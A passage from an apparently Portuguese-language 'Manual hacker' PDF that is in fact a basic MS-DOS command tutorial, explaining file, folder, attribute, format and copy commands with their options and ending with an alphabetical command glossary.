Ex.: Ren Arquivo.txt Backup.bak, Isto renomeia o arquivo: Arquivo.txt, para Backup.bak.

Comando DEL ou ERASE Apaga arquivos do disco rígido e deve ser usado da seguinte

maneira: del [drive:\][caminho\] nome do(s) arquivo(s) [opções] (Sem colchetes), sendo que

não é necessária a utilização das opções caso você não queira.

Opções: /p - Força a mensagem de confirmação "Apagar( S / N )?". /f - Força a exclusão de

arquivos somente leitura. /s - Exclui arquivos de todas as subpastas. /q - Modo silencioso,

não pede confirmação para excluir um caractere curinga global.

/a:atributo - Exclui somente arquivos de determinado atributo, onde atributo deve ser

substituído por algum desses caracteres e não devem ser digitados os 2 pontos (.

S - Arquivos de sistema. R - Arquivos somente leitura. H - Arquivos ocultos. A - Arquivos

prontos para arquivamento.

Obs.: Para reverter o efeito dos caracteres, é necessário a colocação de um hífen (-).

Ex.: Del *.* /a-h, executando este comando, você exclui todos os arquivos menos os

arquivos ocultos da pasta.

Comando MD ou MKDIR Cria uma pasta, devendo ser usado da seguinte maneira: MD Pasta,

onde Pasta é o nome da pasta que você quer criar.

Comando CD ou CHDIR Entra ou sai de uma pasta: se você digitar CD TESTE, por exemplo,

ele entrará na pasta TESTE. Se você digitar CD.. ele irá voltar para a pasta anterior. O mesmo

vale para o CHDIR.

Comando RD ou RMDIR Remove uma pasta que esteja vazia, sendo que não consegue

remover pastas com arquivos. Deve ser usado da seguinte maneira: rd [opções] (Sem

colchetes), sendo que não é necessária a utilização das opções caso você não queira.

Ex.: Digitando RD Teste você irá excluir a pasta teste.

63

Page 64: Manual hacker

Opções: /s - Remove todas as pastas e arquivos da pasta, além dela mesma. /q - Modo

silencioso, não pede confirmação para remover a árvore de pastas quando usado com /s.

2. Os comandos externos

Assim como nos comandos internos pode-se usar o comando auxiliar /?, dentre os

comandos externos, alguns são muito úteis, como o format veremos logo adiante...

Comando ATTRIB O Attrib altera ou mostra os atributos de um arquivo, devendo ser usado

da seguinte maneira: attrib [Atributo] [drive:\][caminho\] nome do(s) arquivo(s) [opções]

(Sem colchetes), sendo que não é necessária a utilização de opções caso você não queira.

Opções do "Atributo" dos colchetes:

+ Ativa um atributo. - Desativa um atributo. r - Atributo de arquivo somente leitura. a -

Atributo de arquivo de leitura/gravação. s- Atributo de arquivo de sistema. h - Atributo de

arquivo oculto.

Opções: /s - Processa os arquivos da pasta atual. /d - Inclui pastas.

Comando FORMAT Como o nome já diz, ele formata o drive. Deve ser usado da seguinte

maneira: format [drive:] [opções] (Sem colchetes), sendo que não é necessária a utilização

de opções caso você não queira.

Opções: /fs:sistema de arquivos - Formata a partição como fat32, fat ou ntfs, é necessário

substituir "sistema de arquivos", por fat32, fat ou ntfs. /v:nome - Formata a partição com

um nome de volume específico. /q - Formatação rápida (Tão rápida quanto a formatação de

um disquete). /c - Arquivos criados na partição serão compactados (somente com partições

ntfs). /x - Força primeiro a desmontagem do volume, se necessário. Todos os identificadores

abertos no volume não seriam mais válidos. /f:tamanho - Especifica o tamanho do disquete

a ser formatado (Em formatações de disquete, claro). /t:trilhas - Especifica o número de

trilhas por lado do disco. /n:setores- Especifica o número de setores por trilha.

Comando DISKCOPY O comando DISKCOPY copia o conteúdo de um disco flexível para

outro, sendo que eles devem ter o mesmo tamanho e densidade. Deve ser usado da

seguinte maneira: diskcopy [drive de origem:] [drive de destino:] [opções] (Sem colchetes),

sendo que não é necessária a utilização de opções caso você não queira.

Opções: /v – Verifica os arquivos copiados após a cópia.

Comando XCOPY O comando xcopy copia arquivos de um ou mais subdiretórios. Também

pode copiar os subdiretórios, mas não copia arquivos de sistema ou ocultos, devendo ser

usado da seguinte maneira: xcopy [drive:\][caminho\] arquivo(s) de destino [opções] (Sem

colchetes), sendo que não é necessária a utilização de opções caso você não queira.

Opções: /d - Copia arquivos que foram modificados a partir de uma certa data. /p - Pede

confirmação para cópia de cada arquivo. /s - Copia diretórios e subdiretórios (Não copia

pastas vazias). /e/s - Copia os subdiretórios mesmo que estejam vazios. /v - Verifica os

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Page 65: Manual hacker

arquivos copiados.

Obs.: Por ser um comando com inúmeras opções não é possível que eu escreva todas aqui.

Para saber mais sobre o xcopy, vá no prompt de comando e digite xcopy /?

Comando TREE O comando tree mostra as pastas e subpastas da pasta onde foi executado o

comando. Parece complicado mas não é: é como a parte esquerda do Windows Explorer.

Deve ser usado da seguinte maneira: tree [drive:\][caminho\][opções] (Sem colchetes),

sendo que não é necessária a utilização de opções caso você não queira.

Opções: /f – Inclui nome dos arquivos de cada subdiretório. /a – Exibe os subdiretórios com

caracteres ASCII.

Comando DELTREE É a combinação dos comandos del e tree: ele exclui arquivos de uma

pasta suas subpastas e "subarquivos". Deve ser usado da seguinte maneira: deltree [opções]

[drive:\][caminho\] (Sem colchetes), sendo que não é necessária a utilização de opções caso

você não queira.

Opções: /y – Não pede confirmação para a exclusão dos arquivos.

Comando MOVE O comando move altera a posição de um ou mais arquivos de uma pasta

para outra. Deve ser usado da seguinte maneira: move [opções] [drive:\][caminho\]

arquivo1,arquivo2 (Sem colchetes), sendo que não é necessária a utilização de opções caso

você não queira.

Opções:

/y - Não pede confirmação para a mudança dos arquivos. /-y - Pede confirmação para

mudança dos arquivos.

Para Renomear diretórios

Use [opções] [drive:\][caminho\]nome do diretório antigo [drive:\][caminho\]nome do

diretório novo

3. Dicas

A. Nos comandos acima é possível a utilização de caracteres curinga como "*.*" (asterisco

ponto asterisco), que significa todos os arquivos ,"relatorio.*", que significa arquivos de

nome relatorio com qualquer extensão, "*.txt", significa qualquer arquivo com extensão

.txt, "foto?.bmp", que significa qualquer arquivo que comece com a palavra "foto" e tenha

extensão .bmp ...

Resumindo, o asterisco (*) significa qualquer caracteres de qualquer tipo e interrogação (?)

significa um caractere qualquer. Estes são chamados caracteres curingas e são muito úteis

no MS-DOS.

B. Um comando que adoro digitar no Autoexec.bat é o deltree, eu digito a seguinte linha:

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Page 66: Manual hacker

deltree /y c:\windows\temp\. Se você leu atentamente o tutorial saberá que este comando

serve para limpar a pasta temp do Windows toda vez que ele for iniciado, e para quem

odeia o menu Documentos Recentes do menu Iniciar digite no autoexec.bat: deltree /y c:

\windows\recent\ ...

C. Sugiro que imprima esse tutorial para que caso ocorra uma emergência, você consiga

consertar tudo, é só saber em que arquivo(s) ocorreu o problema e substituí-lo(s) com os

comandos certos. Uma pequena lista de COMANDOS. LISTAGEM ALGUNS COMANDOS DO

MS-DOS

APPEND – Permite que os programas abram arquivos de dados em diretórios especificados,

como se estes estivessem no diretório atual.

ASSING – Faz um redirecionamento das solicitações de operações em disco de uma unidade

para outra.

ATTRIB – Mostra/exibe ou altera os atributos dos arquivos.

BREAK – Ativa ou desativa a verificação do comando CTRL+C

BUFFERS – Faz o alocamento de memória para um determinado número de buffers de disco

no momento do boot do sistema.

CALL – Chama um programa de lote a partir de um outro programa de lote.

CD – Exibe o diretório atual.

CHCP – Exibe ou define o número da página de código ativa.

HDIR - Altera o diretório atual ou que esta sendo usado.

CHKDSK – Verifica um disco e exibe um relatório sobre seu status ou seu funcionamento.

CLS – Limpa a tela do MS-DOS do computador que está sendo executado.

COMMAND – Inicia uma nova versão do interpretador de comandos do MS-DOS.

COMP – Compara o conteúdo de dois arquivos ou lista de arquivos.

CTTY – Altera o dispositivo de terminal usado para controlar o sistema.

DATE – Exibe ou define a data do sistema operacional.

DBLSPACE – Cria ou configura discos com o sistema comprimido de armazenamento.

DEBUG – Executa o programa Debug, um programa de teste e utilitário de edição.

DEFRAG – Desfragmentador de discos que reorganiza arquivos em disco com a finalidade de

otimizar a performance do sistema operacional.

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Page 67: Manual hacker

DEL – Exclui um ou mais arquivos.

DELTREE – Apaga diretório inteiros com subdiretórios e arquivos.

DIR – Exibe uma lista de arquivos e subdiretórios em um diretório.

DISKCOMP – Compara o conteúdo de dois discos flexíveis.

DOSKEY – Edita linhas de comando, chama comandos do MS-DOS e cria macros.

ECHO – Exibe mensagens, ativa ou desativa a exibição de comandos.

EDIT – Inicia e Editor do MS-DOS, que cria e altera arquivos ASCII.

EDLIN – Inicia o Edilin, um editor de texto orientado por linhas.

ERASE – Exclui um ou mais arquivos.

EXIT – Sai do programa COMMAND.COM (interpretador de comandos).

EXPAND – Expande um ou mais arquivos compactados.

FASTOPEN – Diminui o tempo necessário para a abertura de arquivos e diretórios

frequentemente utilizados.

FDISK – Configura o disco rígido para utilizar o MS-DOS.

FIND – Procura por uma seqüência de caracteres em um ou mais arquivos.

FOR – Executa um comando para cada arquivo em um conjunto de arquivos.

GOTO – Direciona o MS-DOS par uma linha nomeada em um programa de lote.

HELP – Fornece informações de socorro sobre os comandos MS-DOS.

IF – Realiza um processamento condicional em programas em lotes.

LABEL – Cria, altera ou exclui o nome de volume de um disco.

MD – Cria um diretório

MEM – Exibe a quantidade de memória utilizada e disponível no sistema.

MKDIR – Cria um diretório.

MODE – Configura um dispositivo do sistema.

MOVE – Move arquivos, renomeia arquivos e diretórios.

PATH – Exibe um caminho de pesquisa para arquivos executáveis.

PAUSE – Suspende a execução de um programa de lote e exibe uma mensagem.

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RD – Remove (exclui) um diretório.

RECOVER – Recupera as informações de um disco defeituoso ou inválido.

REN – Renomeia um ou mais arquivos.

RENAME – Também executa o comando REN.

RESTORE – Restaura os arquivos de segurança gerados pelo comando BACKUP.

RMDIR – Remove (exclui) um diretório.

TIME – Exibe ou altera a hora do sistema.

TREE – Exibe graficamente a estrutura do diretório de uma unidade ou caminho.

TYPE – Exibe o conteúdo de um arquivo de texto.

UNDELETE – Recupera arquivos que tenham sido excluídos.

UNFORMAT – Restaura um disco apagado/deletado pelo comando FORMAT ou recuperado

pelo comando RECOVER.

VER – Exibe a versão do MS-DOS.

VERIFY – Orienta o MS-DOS a verificar se os arquivos estão sendo gravados corretamente

para um disco.

VOL – Exibe o nome de volume e o número de série do disco.

XCOPY – Copia arquivos (exceto arquivos de sistema e oculto) e árvores de diretórios.

Obs. A sintaxe de todos os comandos e operacionalidade podem ser vistos simplesmente

digitando no console do MS-DOS o seguinte: C:\comando/?.

Leia mais: http://hacker-virus-cracker.webnode.com/

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